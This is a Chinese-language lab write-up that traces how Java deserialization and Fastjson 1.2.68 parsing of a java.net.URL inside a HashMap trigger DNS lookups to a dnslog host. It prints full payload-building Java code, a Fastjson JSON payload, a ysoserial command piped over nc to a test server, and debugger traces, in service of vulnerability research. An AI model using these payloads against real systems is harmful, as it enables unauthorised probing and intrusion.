Skip to content

标题: 在Java反序列化过程中通过java.net.URL触发域名解析请求

创建: 2020-05-17 17:59 更新: 2020-05-18 14:22 链接: https://scz.617.cn/web/202005171759.txt


目录:

☆ 前言
☆ Serializable接口详解
    9) URLDNS
        9.1) HashMapURLDNS.java
        9.2) 简化版调用关系
        9.3) ysoserial.payloads.URLDNS
☆ Fastjson
   10) Fastjson反序列化过程中触发域名解析请求
       10.8) Fastjson_URL_DNS.json
       10.9) 简化版调用关系
☆ 后记
☆ 参考资源

☆ 前言

参看

《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt

有人提及Fastjson反序列化过程中用java.net.URL触发域名解析请求,另有人提及 ysoserial.payloads.URLDNS。这两件事我都是首次接触,调试跟踪一番,写点笔记。

之前系统地调试跟踪过Fastjson反序列化的三条攻击链及各种补丁绕过,也系统地调 试跟踪过ysoserial/CommonsCollections系列,这次没啥新东西。

☆ Serializable接口详解

9) URLDNS

9.1) HashMapURLDNS.java


/ * javac -encoding GBK -g HashMapURLDNS.java * java HashMapURLDNS "http://scz.dnslog.org" <0|1|2|3> / import java.io.; import java.util.HashMap; import java.net.; import java.lang.reflect.Field;

public class HashMapURLDNS { / * 返回待序列化Object,mode只是为了演示不同的数据准备方案。 / private static Object getObject ( String url, int mode ) throws Exception { Object obj = null;

    switch ( mode )
    {
    case 0 :
        obj = getObject_0( url );
        break;
    case 1 :
        obj = getObject_1( url );
        break;
    case 2 :
        obj = getObject_2( url );
        break;
    case 3 :
        obj = getObject_3( url );
        break;
    default :
        break;
    }
    return( obj );
}

/*
 * 这个实现很ysoserial,参看CommonsCollections5、CommonsCollections6。
 * 就本例而言,这种搞法不是最优解,但很通用,可以避免各种类的边界效应,
 * 不只适用于URL。ysoserial并未采用这种方案。
 */
@SuppressWarnings("unchecked")
private static Object getObject_0 ( String url ) throws Exception
{
    URL         u       = new URL( url );
    HashMap     hm      = new HashMap( 1 );
    /*
     * 任意值,占位
     */
    hm.put( "key", "value" );
    Field       f       = HashMap.class.getDeclaredField( "table" );
    f.setAccessible( true );
    Object[]    table   = ( Object[] )f.get( hm );
    /*
     * 假设前面hm只put()了一次,此处取上来的table[]有两个元素,一个是
     * key,另一个是null。这与HashMap在JDK 8中的底层实现相关。本例中一
     * 般table[0]是我们要找的,但保险起见,还是这么写吧。
     */
    Object      node    = table[0];
    if ( node == null )
    {
        node    = table[1];
    }
    Field       k       = node.getClass().getDeclaredField( "key" );
    k.setAccessible( true );
    k.set( node, u );
    return( hm );
}  /* end of getObject_0 */

/*
 * 本质上同getObject_0()
 */
@SuppressWarnings("unchecked")
private static Object getObject_1 ( String url ) throws Exception
{
    URL         u       = new URL( url );
    /*
     * 由于此处没有指定initialCapacity,后面必须用for循环寻找node
     */
    HashMap     hm      = new HashMap();
    hm.put( "key", "value" );
    Field       f       = HashMap.class.getDeclaredField( "table" );
    f.setAccessible( true );
    Object[]    table   = ( Object[] )f.get( hm );
    for ( Object node : table )
    {
        if ( node != null )
        {
            Field   k   = node.getClass().getDeclaredField( "key" );
            k.setAccessible( true );
            k.set( node, u );
            break;
        }
    }
    return( hm );
}  /* end of getObject_1 */

/*
 * ysoserial本质上采用这种方案,我做了一些改动,从而完全摒弃反射。
 */
@SuppressWarnings("unchecked")
private static Object getObject_2 ( String url ) throws Exception
{
    URL     u   = new URL( null, url, new PrivateURLStreamHandler() );
    HashMap hm  = new HashMap();
    /*
     * hm.put()会触发如下调用:
     *
     * HashMap.put
     *   HashMap.hash
     *     URL.hashCode
     *       if (this.hashCode != -1)
     *       URLStreamHandler.hashCode
     *         URLStreamHandler.getHostAddress
     *           InetAddress.getByName
     */
    hm.put( u, "any" );
    return( hm );
}  /* end of getObject_2 */

/*
 * 这种方案只适用于URL
 */
@SuppressWarnings("unchecked")
private static Object getObject_3 ( String url ) throws Exception
{
    URL     u   = new URL( url );
    HashMap hm  = new HashMap();
    Field   f   = URL.class.getDeclaredField( "hashCode" );
    f.setAccessible( true );
    /*
     * 只要不是-1即可
     */
    f.set( u, 0 );
    hm.put( u, "any" );
    f.set( u, -1 );
    return( hm );
}  /* end of getObject_3 */

/*
 * https://docs.oracle.com/javase/8/docs/api/java/net/URL.html
 * https://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandler.html
 *
 * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URL.java
 * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URLStreamHandler.java
 *
 * URLStreamHandler是抽象类,没有实现Serializable接口,缺省不会被序列
 * 化出去。
 */
private static class PrivateURLStreamHandler extends URLStreamHandler
{
    /*
     * 这是个抽象方法,子类必须实现之
     */
    protected URLConnection openConnection ( URL u ) throws IOException
    {
        return null;
    }

    @Override
    protected int hashCode ( URL u )
    {
        return( -1 );
    }
}

public static void main ( String[] argv ) throws Exception
{
    String                  url     = argv[0];
    int                     mode    = Integer.parseInt( argv[1] );
    Object                  obj     = getObject( url, mode );
    ByteArrayOutputStream   bos     = new ByteArrayOutputStream();
    ObjectOutputStream      oos     = new ObjectOutputStream( bos );
    oos.writeObject( obj );
    ByteArrayInputStream    bis     = new ByteArrayInputStream( bos.toByteArray() );
    ObjectInputStream       ois     = new ObjectInputStream( bis );
    ois.readObject();
}

}

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ HashMapURLDNS "http://scz.dnslog.org" 2

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.net.InetAddress.getByName(java.lang.String)

[1] java.net.InetAddress.getByName (InetAddress.java:1,077), pc = 0 [2] java.net.URLStreamHandler.getHostAddress (URLStreamHandler.java:442), pc = 34 [3] java.net.URLStreamHandler.hashCode (URLStreamHandler.java:359), pc = 20 [4] java.net.URL.hashCode (URL.java:902), pc = 19 [5] java.util.HashMap.hash (HashMap.java:339), pc = 9 [6] java.util.HashMap.readObject (HashMap.java:1,413), pc = 246 [7] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [8] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [9] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [10] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [11] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [12] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [13] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [14] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [15] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [16] HashMapURLDNS.main (HashMapURLDNS.java:179), pc = 70

9.2) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/util/HashMap.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URL.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/net/URLStreamHandler.java

正常情况下HashMap.put(URL,"any")会触发InetAddress.getByName():


HashMap.put // 8u232 // key等于URL,value无所谓 HashMap.hash // HashMap:612 // putVal(hash(key), key, value, false, true) URL.hashCode // HashMap:339 // (h = key.hashCode()) ^ h >>> 16 if (this.hashCode != -1) // URL:899 // -1表示未设置过,需要计算后设置 // ysoserial.payloads.URLDNS通过反射将该字段设为-1 URLStreamHandler.hashCode // URL:902 // hashCode = handler.hashCode(this); // handler的类型是"sun.net.www.protocol.http.Handler" // 这是URLStreamHandler的子类 URLStreamHandler.getHostAddress // URLStreamHandler:359 // addr = getHostAddress(u) // u等于"http://scz.dnslog.org" InetAddress.getByName // URLStreamHandler:442 // hostAddress = InetAddress.getByName(host) // host等于"scz.dnslog.org" // 触发对"scz.dnslog.org"的域名解析请求


出于洁癖或其他什么理由,不想在数据准备阶段触发域名解析请求,从而有了 HashMapURLDNS.java演示的几种技术方案,以避免调用InetAddress.getByName()。

getObject_0()没有正常调用HashMap.put(URL,"any"),而是put("key","value"), 再通过反射将"key"改成URL,反射法并不会触发URL.hashCode()。

getObject_2()调了一个重载版的URL(),指定自己实现的handler,这个handler重载 了URLStreamHandler.hashCode(),直接返回-1,从而避免调用 URLStreamHandler.getHostAddress()。这是我修改过的方案,可以彻底避免反射。

getObject_2()这种搞法下的自定义handler没有实现Serializable接口,缺省不会被 序列化出去。反序列化时,URL.handler会在URL.readObject()中被填成 "sun.net.www.protocol.http.Handler",这是URLStreamHandler的子类。

ysoserial.payloads.URLDNS的数据准备方案本质上同getObject_2(),用了自定义 handler。它重载的是URLStreamHandler.getHostAddress(),直接返回null,不会调 用InetAddress.getByName()。但这个搞法仍会计算出URL.hashCode,所以它后面通 过反射将URL.hashCode恢复成-1。

getObject_3()初始化URL实例后通过反射将URL.hashCode先设成-1之外的值,比如0。 HashMap.put(URL,"any")触发URL.hashCode()时,由于URL.hashCode不等于-1,从而 直接返回URL.hashCode,不会去调用URLStreamHandler.hashCode()。然后 getObject_3()通过反射将URL.hashCode恢复成-1,将来反序列化时才会调用 URLStreamHandler.hashCode(),进而触发InetAddress.getByName()。

反序列化流程如下:


ObjectInputStream.readObject // 8u232 ObjectInputStream.readObject0 // ObjectInputStream:430 ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572 ObjectInputStream.readSerialData // ObjectInputStream:2068 ObjectStreamClass.invokeReadObject // ObjectInputStream:2177 HashMap.readObject // ObjectStreamClass:1170 ObjectInputStream.readObject // HashMap:1410 // key = (K) s.readObject() ObjectInputStream.readObject0 // ObjectInputStream:430 ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572 ObjectInputStream.readSerialData // ObjectInputStream:2068 ObjectStreamClass.invokeReadObject // ObjectInputStream:2177 URL.readObject // ObjectStreamClass:1170 URL.getURLStreamHandler // URL:1301 cls = Class.forName(clsName) // URL:1197 // clsName等于"sun.net.www.protocol.http.Handler" handler = (URLStreamHandler)cls.newInstance() // URL:1206 // 这个handler是局部变量,不是this.handler Hashtable.put // URL:1241 // handlers.put(protocol, handler) // protocol等于"http" // handler等于"sun.net.www.protocol.http.Handler" ObjectStreamClass.invokeReadResolve // ObjectInputStream:2077 URL.readResolve // ObjectStreamClass:1260 URL.fabricateNewURL // URL:1337 URL.(java.lang.String) // URL:1412 URL.(java.net.URL, java.lang.String) // URL:456 URL.(java.net.URL, java.lang.String, java.net.URLStreamHandler) // URL:507 URL.getURLStreamHandler // URL:616 // handler = getURLStreamHandler(protocol) this.handler = handler // URL:620 // 此时的this就是将来hash(key)中的key // this.handler等于null // handler等于"sun.net.www.protocol.http.Handler" HashMap.hash // HashMap:1413 // putVal(hash(key), key, value, false, false) URL.hashCode // HashMap:339 // (h = key.hashCode()) ^ h >>> 16 if (this.hashCode != -1) // URL:899 // -1表示未设置过,需要计算后设置 // ysoserial.payloads.URLDNS通过反射将该字段设为-1 URLStreamHandler.hashCode // URL:902 // hashCode = handler.hashCode(this); // handler的类型是"sun.net.www.protocol.http.Handler" // 这是URLStreamHandler的子类 URLStreamHandler.getHostAddress // URLStreamHandler:359 // addr = getHostAddress(u) // u等于"http://scz.dnslog.org" InetAddress.getByName // URLStreamHandler:442 // hostAddress = InetAddress.getByName(host) // host等于"scz.dnslog.org" // 触发对"scz.dnslog.org"的域名解析请求


9.3) ysoserial.payloads.URLDNS

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

ysoserial.payloads.URLDNS存在的目的是探测目标系统有调用 ObjectInputStream.readObject()。

启动DNSLog:

python2 superdns.py -m udp -i 192.168.65.2

执行服务端:

java VulnerableServer 192.168.65.23 1314

执行客户端:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://scz.dnslog.org" | nc -n 192.168.65.23 1314

在DNSLog中会看到对"scz.dnslog.org"的域名解析请求。

☆ Fastjson

10) Fastjson反序列化过程中触发域名解析请求

10.8) Fastjson_URL_DNS.json


{ { '@type':"java.net.URL", 'val':'http://scz.dnslog.org' }:'a' }


java \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.net.URL.(java.lang.String) stop in java.net.InetAddress.getByName(java.lang.String)

[1] java.net.URL. (URL.java:456), pc = 0 [2] com.alibaba.fastjson.serializer.MiscCodec.deserialze (MiscCodec.java:313), pc = 482 [3] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:395), pc = 1,399 [4] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,401), pc = 234 [5] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,367), pc = 2 [6] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:285), pc = 768 [7] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,401), pc = 234 [8] com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze (JavaObjectDeserializer.java:46), pc = 146 [9] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:688), pc = 194 [10] com.alibaba.fastjson.JSON.parseObject (JSON.java:396), pc = 141 [11] com.alibaba.fastjson.JSON.parseObject (JSON.java:461), pc = 87 [12] com.alibaba.fastjson.JSON.parseObject (JSON.java:569), pc = 102 [13] com.alibaba.fastjson.JSON.parseObject (JSON.java:536), pc = 10 [14] com.alibaba.fastjson.JSON.parseObject (JSON.java:524), pc = 7 [15] com.alibaba.fastjson.JSON.parseObject (JSON.java:513), pc = 6 [16] FastjsonDeserialize.main (FastjsonDeserialize.java:38), pc = 24

[1] java.net.InetAddress.getByName (InetAddress.java:1,077), pc = 0 [2] java.net.URLStreamHandler.getHostAddress (URLStreamHandler.java:442), pc = 34 [3] java.net.URLStreamHandler.hashCode (URLStreamHandler.java:359), pc = 20 [4] java.net.URL.hashCode (URL.java:902), pc = 19 [5] java.util.HashMap.hash (HashMap.java:339), pc = 9 [6] java.util.HashMap.put (HashMap.java:612), pc = 2 [7] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:602), pc = 2,641 [8] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,401), pc = 234 [9] com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze (JavaObjectDeserializer.java:46), pc = 146 [10] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:688), pc = 194 [11] com.alibaba.fastjson.JSON.parseObject (JSON.java:396), pc = 141 [12] com.alibaba.fastjson.JSON.parseObject (JSON.java:461), pc = 87 [13] com.alibaba.fastjson.JSON.parseObject (JSON.java:569), pc = 102 [14] com.alibaba.fastjson.JSON.parseObject (JSON.java:536), pc = 10 [15] com.alibaba.fastjson.JSON.parseObject (JSON.java:524), pc = 7 [16] com.alibaba.fastjson.JSON.parseObject (JSON.java:513), pc = 6 [17] FastjsonDeserialize.main (FastjsonDeserialize.java:38), pc = 24

10.9) 简化版调用关系


JSON.parseObject // 8u232+1.2.68 // parseObject(InputStream is, Type type, Feature... features) JSON.parseObject // JSON:513 JSON.parseObject // JSON:524 JSON.parseObject // JSON:536 JSON.parseObject // JSON:569 JSON.parseObject // JSON:461 DefaultJSONParser.parseObject // JSON:396 JavaObjectDeserializer.deserialze // DefaultJSONParser:688 DefaultJSONParser.parse // JavaObjectDeserializer:46 DefaultJSONParser.parseObject // DefaultJSONParser:1401 // parseObject(Map object, Object fieldName) DefaultJSONParser.parse // DefaultJSONParser:285 // key = parse() DefaultJSONParser.parse // DefaultJSONParser:1367 DefaultJSONParser.parseObject // DefaultJSONParser:1401 // parseObject(Map object, Object fieldName) ParserConfig.checkAutoType // DefaultJSONParser:333 // typeName等于"java.net.URL" IdentityHashMap.findClass // ParserConfig:1329 // 返回"java.net.URL" // 预填充过一些类,不经反序列化处理 ParserConfig.getDeserializer // DefaultJSONParser:386 // 返回"com.alibaba.fastjson.serializer.MiscCodec" MiscCodec.deserialze // DefaultJSONParser:395 // clazz等于"java.net.URL" if (!"val".equals(lexer.stringVal())) // MiscCodec:251 // 检查"val"属性 DefaultJSONParser.parse // MiscCodec:261 // 返回"http://scz.dnslog.org",即"val"的值 // objVal = parser.parse() if (clazz == URL.class) // MiscCodec:311 java.net.URL. // MiscCodec:313 // spec等于"http://scz.dnslog.org" HashMap.put // DefaultJSONParser:602 // map.put(key, value) // key等于"http://scz.dnslog.org",value等于"a" HashMap.hash // HashMap:612 URL.hashCode // HashMap:339 // (h = key.hashCode()) ^ h >>> 16 if (this.hashCode != -1) // URL:899 // -1表示未设置过,需要计算后设置 // ysoserial.payloads.URLDNS通过反射将该字段设为-1 URLStreamHandler.hashCode // URL:902 URLStreamHandler.getHostAddress // URLStreamHandler:359 // addr = getHostAddress(u) // u等于"http://scz.dnslog.org" InetAddress.getByName // URLStreamHandler:442 // hostAddress = InetAddress.getByName(host) // host等于"scz.dnslog.org" // 触发对"scz.dnslog.org"的域名解析请求


注意,此次MiscCodec.deserialze()只负责URL.,并不在其中触发域名解析请 求。

参[75],1.2.43将"java.net.URL"放入黑名单,但没有将"java.net.URL"从 IdentityHashMap中删除。在IdentityHashMap.findClass()之前有个黑名单检查,但 只在autoTypeSupport或expectClassFlag为true时检查。

java \ -Dfastjson.parser.autoTypeSupport=true \ -cp "fastjson-1.2.68.jar:." \ FastjsonDeserialize Fastjson_URL_DNS.json

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. java.net.URL at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1321)

☆ 后记

先看的Fastjson_URL_DNS.json调用栈回溯,之前未看ysoserial.payloads.URLDNS, 听说有个ysoserial/URLDNS,下意识想到HashMapURLDNS.java中模式0的方案。

ysoserial/URLDNS的实现跟ysoserial/CommonsCollections系列相比,前者水平明显 差点意思,后者炫技炫得我眼花。

ysoserial/URLDNS的作者在注释中提到,URL.handler是transient的,不会被序列化 出去。URL.writeObject()只调了ObjectOutputStream.defaultWriteObject(),确实 不会序列化transient成员,但这只是一方面。URL.handler的类型是 java.net.URLStreamHandler,这是个没有实现Serializable接口的抽象类,即使不 是transient的,也不会被序列化出去,可以放心大胆地自实现之。

ysoserial/URLDNS提供了自定义URL.handler,但它的套路不够好,最后还得反射修 正URL.hashCode。都自定义URL.handler了,换成HashMapURLDNS.java中的模式2不是 更爽?

HashMapURLDNS.java中的模式3是别人的方案,出于完备性考虑,一并演示。

☆ 参考资源

[52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包)

git clone https://github.com/frohoff/ysoserial.git

[75] fastjson blacklist https://github.com/LeadroyaL/fastjson-blacklist